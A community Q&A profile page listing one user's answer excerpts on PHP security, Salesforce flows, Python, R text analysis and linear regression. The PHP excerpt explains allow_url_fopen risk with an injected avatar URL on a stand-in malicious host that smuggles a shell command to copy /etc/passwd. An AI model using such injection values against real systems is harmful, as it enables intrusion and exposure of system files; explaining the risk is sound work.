Ask a Question
Ask Question Login
Corporate Training
  1. Community
  2. Naina Pandey

Naina Pandey

Community Learner
Share
6Questions
6Answers
9.5KViews on questions

How is PHP allow_url_fopen risky?

A sample attack scenario using allow_url_fopen that allows me to download your password file: Suppose your app allows me to provide a URL to a remote image, which you will download and use as my avatar image. I provide the following URL: "http://my.malicious.example.com/sbwoodside.jpg;cp /etc/passwd…

Web-development

Answered Oct 17, 2022 · 1.7K Views Read answer →

After-save flow in Order of execution

If you’re familiar with Apex triggers, and after-save record-triggered flow is similar to an Apex after the trigger. In a save procedure,after-save record-triggered flows are executed after entitlement rules and before roll-up summary field updates. Here is an order of execution salesforce The original record is…

Salesforce

Answered Aug 17, 2021 · 1.5K Views Read answer →

how to exit a python script in an if statement

You can try this to close python program: while True: answer = input('Do you want to continue?:') if answer.lower().startswith("y"): print("ok, carry on then") elif answer.lower().startswith("n"): print("ok, sayonnara") exit()

Python

Answered Jul 27, 2021 · 1.3K Views Read answer →

Explain with a case study how to perform text analysis using R.

To perform text analysis, we will be importing data containing reviews of restaurants. First we read the data # Importing the dataset dataset_original = read.delim('Restaurant_Reviews.tsv', quote = '', stringsAsFactors = FALSE) Now we will perform text cleaning after installing all the libraries required. # Cleaning…

Data Science

Answered Jan 10, 2020 · 1.4K Views Read answer →

Explain simple linear regression model

The goal of a simple linear regression is to find the relationship between a single feature (explanatory variable x) and the outcome. The equation of a linear model with one explanatory variable is defined as follows: Y=w0 +w1x Here, the weight w0 represents the y axis intercepts and w1 is the coefficient of the…

Data Science

Answered Nov 23, 2019 · 1.8K Views Read answer →

More members from the Data Science community

Learners asking and answering questions on the same topics — follow their questions and join in.

Latest Data Science Blogs

Guides, tips and career advice on Data Science from JanBask experts.

Learn & Explore

Free tutorials and interview questions from industry experts — learn the skill, then get ready to prove it.